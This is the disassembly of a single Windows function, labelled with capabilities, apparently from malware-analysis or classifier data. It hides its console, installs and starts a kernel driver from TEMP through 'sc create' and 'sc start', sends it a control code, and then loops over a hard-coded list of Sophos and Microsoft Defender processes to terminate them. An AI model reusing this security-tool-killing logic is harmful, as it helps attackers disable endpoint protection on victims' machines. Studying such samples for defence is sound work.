Function at 0x401b68
Capabilities:
Copy file
Execute command
Hide graphical window
Persist via windows service
Query environment variable
Terminate process

Disassembly:
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xe0], ecx
mov qword [rbp + 0xe8], rdx
call fcn.00402c50
mov dword [rbp + 0xbc], 0
mov dword [rbp + 0xac], 0
mov dword [rbp + 0xa8], 0
mov dword [rbp + 0xb8], 0
call fcn.004015f9
call fcn.00401942
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rdx, [rbp - 0x60]
mov eax, 0
mov ecx, 0x20
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rax, [rbp - 0x60]
mov r8d, 0x104
mov rdx, rax
lea rcx, str.TEMP
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sub.msvcrt.dll_strlen
add rax, 0x70
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xb0], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xb0]
lea r9, str._nvnjfmp.sys
mov r8, rdx
lea rdx, str._s_s
mov rcx, rax
call sub.msvcrt.dll_sprintf
lea rcx, str.sc_create_nvnjfmp_binPath__TEMP__nvnjfmp.sys_type_kernel_start_demand
call sub.msvcrt.dll_system
mov rax, qword [rbp + 0xb0]
mov r8d, 0
mov rdx, rax
lea rcx, str.nvnjfmp.sys
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rcx, str.sc_start_nvnjfmp
call sub.msvcrt.dll_system
mov dword [rbp + 0xac], 0xffffffff
lea rdx, [rbp + 0xa8]
lea rax, [rbp + 0xac]
mov r8, rdx
mov rdx, rax
mov ecx, 0x222088
call fcn.00401996
mov dword [rbp + 0xb8], eax
cmp dword [rbp + 0xb8], 1
je 0x401cff
mov r9d, 0x1010
lea r8, str.System_Error
lea rdx, str.Failed_to_connect_driver_
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov eax, dword [rbp + 0xa8]
mov dword [rbp + 0xac], eax
lea rdx, [rbp + 0xa8]
lea rax, [rbp + 0xac]
mov r8, rdx
mov rdx, rax
mov ecx, 0x222088
call fcn.00401996
mov dword [rbp + 0xb8], eax
cmp dword [rbp + 0xb8], 1
je 0x401d74
mov r9d, 0x1010
lea r8, str.System_Error
lea rdx, str.Failed_to_connect_driver_
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov eax, dword [rbp + 0xa8]
mov dword [rbp + 0xbc], eax
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.savadminservice.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.savservice.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sedservice.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.alsvc.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sophoscleanm64.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sophosfs.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sophosfilescanner.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sophoshealth.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.mcsagent.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.mcsclient.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sophossafestore64.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sophossafestore.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sspservice.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.swc_service.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.swi_service.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sophosui.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sophosntpservice.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.hmpalert.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sophoslivequeryservice.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sophososquery.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sophosfimservice.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.swi_fc.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.swi_filter.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sophosmtrextension.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sdcservice.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sophoscleanup.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sophos
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.ui.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.savapi.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sophoscleanup.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sophosntpservice.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sophoscleanm64.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sophosfs.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sophoshealth.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sophossafestore64.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sophosfimservice.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.sophosfilescanner.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.mpcmdrun.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.msmpeng.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.NisSrv.exe
call fcn.00401a6a
mov eax, dword [rbp + 0xbc]
mov edx, eax
lea rcx, str.MpCopyAccelerator.exe
call fcn.00401a6a
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x401d80